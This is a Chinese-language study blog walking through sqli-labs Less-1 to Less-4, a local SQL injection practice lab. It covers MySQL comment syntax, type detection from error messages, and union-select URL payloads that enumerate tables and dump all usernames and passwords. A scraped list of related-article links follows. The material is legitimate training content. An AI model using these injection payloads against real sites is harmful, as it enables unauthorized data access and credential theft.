【sqli-labs】Less1~Less4
学习sql注入啦,一下都是我做sqli-labs时的笔记。可能有错误,如果有人发现了欢迎指正~~
常用知识点:
1.mysql注释有三种:① #: 注释从#到行尾
② --空格: 注释到行尾,注意--后必须有空格
③/**/ :注释/* 到 */的内容
2.查询用户数据库名称
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMA LIMIT 0,1
3.查询当前数据库表
select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=(select DATABASE()) limit 0,1
4.查询指定表的所有字段
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='xxx' LIMIT 0,1
5.联合查询
select id, username, password from users union select 1,2,3
6.将多行结果拼成一行GROUP_CONCAT
select group_concat(user) from table limit 0, 1
用group_concat可把多个结果拼成一行。这样,如果只有一个显示位也可以显示所有信息
7.将多个字段拼成一个字段CONCAT
select concat(username, passwd) from table
Less-1: 有错误信息,单引号
基础语句:http://127.0.0.1/sqli-labs/Less-1/?id=
1.测试id类型是否为字符串,用单引号'测试
http://127.0.0.1/sqli-labs/Less-1/?id='
提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1
出现了''',说明id为字符串类型
2.测试查询时有几个字段, 用union,经测试有3段,且2,3段会展示
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,3 -- a
http://127.0.0.1/sqli-labs/Less-1/?id=%27%20union%20select%201,2,3%20--%20a
3.查询数据库中的数据
①查询数据库中的所有表信息
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,GROUP_CONCAT(TABLE_NAME),3 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(select DATABASE()) LIMIT 0,1 -- a
结果:Your Login name:emails,referers,uagents,users
说明有四张表
②查看users表中的所有字段
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1, GROUP_CONCAT(COLUMN_NAME),3 from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' LIMIT 0,1 -- a
结果:Your Login name:id,username,password
③查询所有的用户名密码
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users LIMIT 0,1 -- a
结果:
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
疑问:
为什么注释用-- a可以,用#就不可以?
Less-2: 错误,整数
①测试id类型
http://127.0.0.1/sqli-labs/Less-2/?id='
结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
报错了只有' LIMIT 0,1,说明id是数字型的,没有其他引号包裹
②查询所有用户名和密码,加入了order by 保证显示的是所有内容。中间步骤跟第一题相同,略过。
http://127.0.0.1/sqli-labs/Less-2/?id=3 union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a
Less-3: 错误,有干扰的字符串
①测试id类型
http://127.0.0.1/sqli-labs/Less-3/?id='
结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1
与第一题的不同之处在于id后面还有个括号,可以推断其id的写法是 id = ('3') 这种格式。所以在构造sql时,除了要注意闭合引号,还要注意闭合括号。
②查询所有用户名和密码
http://127.0.0.1/sqli-labs/Less-3/?id=3') union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a
Less-4:错误,双引号
①测试id类型
http://127.0.0.1/sqli-labs/Less-4/?id='
结果正常输出,继续测试,这里偷懒了,根据名称直接试了双引号
http://127.0.0.1/sqli-labs/Less-4/?id="
结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""") LIMIT 0,1' at line 1
说明id是字符串,且写法为id = ("3")
②获取所有用户名密码,闭合双引号和括号即可
http://127.0.0.1/sqli-labs/Less-4/?id=3") union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a
【sqli-labs】Less1~Less4的更多相关文章
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- 【SEED Labs】Public-Key Infrastructure (PKI) Lab
Lab Overview 公钥加密是当今安全通信的基础,但当通信的一方向另一方发送其公钥时,它会受到中间人的攻击.根本的问题是,没有简单的方法来验证公钥的所有权,即,给定公钥及其声明的所有者信息,如何 ...
- 【SEED Labs】DNS Rebinding Attack Lab
Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Rebinding/ 在这个实验中模拟的物联网设备 ...
- 【SEED Labs】TCP Attacks Lab
Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/TCP_Attacks/ 本实验涵盖以下课题: • TCP ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- 【移动端】300ms延迟以及点透事件原因以及解决方案
产生原因 移动端会有双击缩放的这个操作,因此浏览器在click之后要等待300ms,看用户有没有下一次点击,也就是这次操作是不是双击 说完移动端点击300ms延迟的问题,还不得不提一下移动端点击穿透的 ...
- 【技巧总结】Penetration Test Engineer[2]-Information gathering
2.信息收集 信息收集是属于前期交互阶段所需要了解的问题. 2.1.前期交互内容 签署授权文件:首要要和受测试方签订授权协议. 划定范围:指定了一个二级域名作为测试目标,那么其他二级域名在测试范围内. ...
- Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)【系列1】
Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)[系列1] Android在加载或者处理超大巨型图片 ...
- SQLi_Labs通关文档【1-65关】
SQLi_Labs通关文档[1-65关] 为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令 docker pull acgpiano/sqli-labs ...
随机推荐
- 【Vue】定义组件 data 必须是一个函数返回的对象
Vue 实例的数据对象.Vue 将会递归将 data 的属性转换为 getter/setter,从而让 data 的属性能够响应数据变化.对象必须是纯粹的对象 (含有零个或多个的 key/value ...
- 【blog】谷歌浏览器如何设置编码
解释 55.0.2883.75 版本之后的chrome的更多工具菜单项里就没有编码设置了,理由据说是使用率比较低,促进网页编码规范.google 真是脑抽了,普通用户也许很少遇到默认编码错误显示出现乱 ...
- os及os.path练习题
查找目录下每个文件的数量(考察获取文件后缀名以及获取当前目录下文件方法) import os #获取目录下的所有文件 list = os.listdir('.') filetype = {} for ...
- java知识点3
高级篇 新技术 Java 8 lambda表达式.Stream API. Java 9 Jigsaw.Jshell.Reactive Streams Java 10 局部变量类型推断.G1的并行Ful ...
- 系统更新报错--NO_PUBKEY
错误信息 W: An error occurred during the signature verification. The repository is not updated and the p ...
- 2018 Multi-University Training Contest 1 杭电多校第一场
抱着可能杭电的多校1比牛客的多校1更恐怖的想法 看到三道签到题 幸福的都快哭出来了好吗 1001 Maximum Multiple(hdoj 6298) 链接:http://acm.hdu.edu. ...
- xv6 + Qemu 在Ubuntu下编译运行教程【转】
转自:https://blog.csdn.net/yinglang19941010/article/details/49310111 如果想要离线看教程,可以下载该 文档 一.使用工具说明 1. ...
- Git学习笔记05-撤销修改
使用 git checkout -- file可以撤销工作区的修改 一种是修改后还没有放到暂存区,撤销修改回到和版本库一模一样的状态 lesson.txt文件已经提交到版本库了,内容如图. 修改一 ...
- VC显示网页验证码、模拟CSDN网页登录
摘要:by:koma 这两天,本来想花点时间研究一下QQ空间.农场外挂,于是抓包分析一了下,只可惜,在QQ网页登录时进行了加密处理,可惜我对网页编程一窍不通.有些朋友曾讲过那些是通过JS代码进行加密, ...
- hibernate框架学习之一级缓存
l缓存是存储数据的临时空间,减少从数据库中查询数据的次数 lHibernate中提供有两种缓存机制 •一级缓存(Hibernate自身携带) •二级缓存(使用外部技术) lHibernate的一级缓存 ...